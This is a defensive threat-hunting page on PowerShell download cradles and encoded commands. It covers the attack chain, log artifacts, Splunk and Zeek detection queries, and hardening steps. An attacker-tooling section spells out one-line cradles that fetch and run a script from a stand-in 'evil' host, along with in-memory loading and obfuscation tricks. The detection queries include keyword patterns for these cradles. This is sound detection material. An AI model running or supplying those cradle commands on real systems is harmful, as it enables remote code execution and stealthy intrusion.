PowerShell Download Cradles & Encoded Commands¶
Summary
PowerShell is the attacker's favourite interpreter because it is signed, everywhere, and can run code straight from memory with no file on disk. A "cradle" downloads and executes stage two in one line (IEX (New-Object Net.WebClient).DownloadString(...)); encoding (-EncodedCommand) and obfuscation hide the intent from casual log review. But script-block logging (4104) captures the decoded text regardless — so this is one of the best-instrumented techniques if logging is on.
How the attack works¶
flowchart LR
L[Launcher<br/>-nop -w hidden -enc / -e] --> D[Decode base64<br/>UTF-16LE]
D --> C[Cradle:<br/>IEX DownloadString / IWR]
C --> N[Fetch stage-2 from C2]
N --> M[Reflectively load in memory<br/>no file on disk]
M --> B[Beacon / tooling]
Common flags: -nop (no profile), -w hidden (no window), -ep bypass (execution policy off), -enc/-e (base64 UTF-16LE command), -c (command). The base64 is UTF-16 little-endian, which is why decoded bytes have null bytes between characters.
Attacker tooling / commands¶
# Classic cradle
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil/a.ps1')"
powershell -e SQBFAFgAIAAoAE4AZQB3... # base64 of the above (UTF-16LE)
# Variants
IWR http://evil/a.ps1 | IEX
IEX (iwr('http://evil/a') -UseBasicParsing)
[Reflection.Assembly]::Load([Convert]::FromBase64String('...')) # load a .NET assembly in memory
$b=(New-Object Net.WebClient).DownloadData('...'); [AppDomain]::CurrentDomain.Load($b)
# Obfuscation (Invoke-Obfuscation style)
&('i'+'ex')(...); `-join` tricks; ${e`n`v:...}; format-operator -f
Artifacts left behind¶
| Where | Artifact | What to look for |
|---|---|---|
| Host PowerShell/Operational | 4104 (script block) — the decoded text, even for -enc |
The single best artifact; long blocks, IEX, DownloadString, FromBase64String, AMSI/reflection keywords |
| 4103 (module/pipeline), 4105/4106 (start/stop) | Additional context | |
| Host Windows PowerShell (classic) | 400/403/600 — HostApplication field holds the full command line |
Works even without script-block logging |
| Host Sysmon/Security | 1/4688 — powershell.exe with -enc/-nop -w hidden; Process_Command_Line |
The launcher and its flags |
| Host Defender | 1116/1117 — AMSI detections (PowerShell/…) |
AMSI scans the decoded buffer at runtime |
| Host | PowerShell console history ConsoleHost_history.txt (Registry keys); Prefetch POWERSHELL.EXE-*.pf referencing dropped scripts |
Interactive commands + referenced files |
| Network | Zeek http.log — powershell/empty UA fetching .ps1/.txt; dns.log the lookup; ssl.log if HTTPS |
The stage-2 pull to C2 |
No 4104? Check logging first
If script-block logging is off, 4104 won't exist — but the classic Windows PowerShell log 400/600 with the HostApplication field, plus Sysmon/4688 command lines, still capture the launcher. Enable script-block logging fleet-wide (HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging=1) — it is the highest-value, lowest-cost Windows logging change you can make.
Detection¶
index=botsv3 sourcetype="XmlWinEventLog:Microsoft-Windows-PowerShell/Operational" EventCode=4104
| eval score=0
| eval score=score+if(match(ScriptBlockText,"(?i)downloadstring|downloadfile|downloaddata|invoke-webrequest|iwr |net\.webclient"),2,0)
| eval score=score+if(match(ScriptBlockText,"(?i)frombase64string|::load\(|reflection\.assembly|[char]|-join"),2,0)
| eval score=score+if(match(ScriptBlockText,"(?i)iex|invoke-expression|\. \("),1,0)
| eval score=score+if(match(ScriptBlockText,"(?i)amsi|bypass|-nop|-w hidden|hidden|virtualalloc|kernel32|shellcode"),2,0)
| eval score=score+if(len(ScriptBlockText)>1000,1,0)
| where score >= 3
| table _time, host, User, score, Path, ScriptBlockText
| sort - score
4104 gives the decoded script text. Instead of one giant regex, this scores each block: download cradles, base64/reflection loading, IEX, AMSI-bypass/injection keywords, and sheer length each add points. where score >= 3 surfaces the suspicious blocks and ranks them, which reads better than a pass/fail match and tunes easily.
index=botsv3 (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventID=1 Image="*powershell.exe")
OR (sourcetype=WinEventLog EventCode=4688 New_Process_Name="*powershell.exe")
| eval cmd=coalesce(CommandLine, Process_Command_Line)
| rex field=cmd "(?i)-(?:e|en|enc|encodedcommand)\s+(?<b64>[A-Za-z0-9+/=]{20,})"
| where isnotnull(b64)
| eval decoded=replace(base64decode(b64),"\x00","")
| table _time, host, User, ParentImage, decoded
| sort 0 _time
The rex captures the base64 after -e/-enc; base64decode reverses it and replace(...,"\x00","") strips the UTF-16 null bytes, giving you the plaintext command the attacker tried to hide — often the download cradle itself, with the C2 URL in clear.
zeek-cut -d ts id.orig_h host uri user_agent resp_mime_types < http.log \
| grep -iE 'powershell|(^|\t)-\t' | grep -iE '\.(ps1|txt|dat)\b|x-dosexec'
Cradles fetch stage two over HTTP, often with a powershell or empty user agent, pulling a .ps1/.txt or a disguised executable. Pivot the uid into conn.log and check dns.log for the domain.
Response¶
Decode and read the script block (the 4104/decoded-launcher output) to understand what was fetched and done, then extract and block the C2/staging URL and domain. Hash and hunt any file stage two dropped (Amcache/files.log). Because cradles often lead straight to a beacon, follow into Beaconing & C2 and credential access. Preserve PowerShell logs and console history. Harden — this technique is where logging pays off most: enable script-block logging and module logging fleet-wide, run PowerShell in Constrained Language Mode via WDAC/AppLocker, keep AMSI enabled (it scans the decoded buffer), consider removing PowerShell v2 (no AMSI, no 4104), and alert on -enc/-w hidden/DownloadString continuously.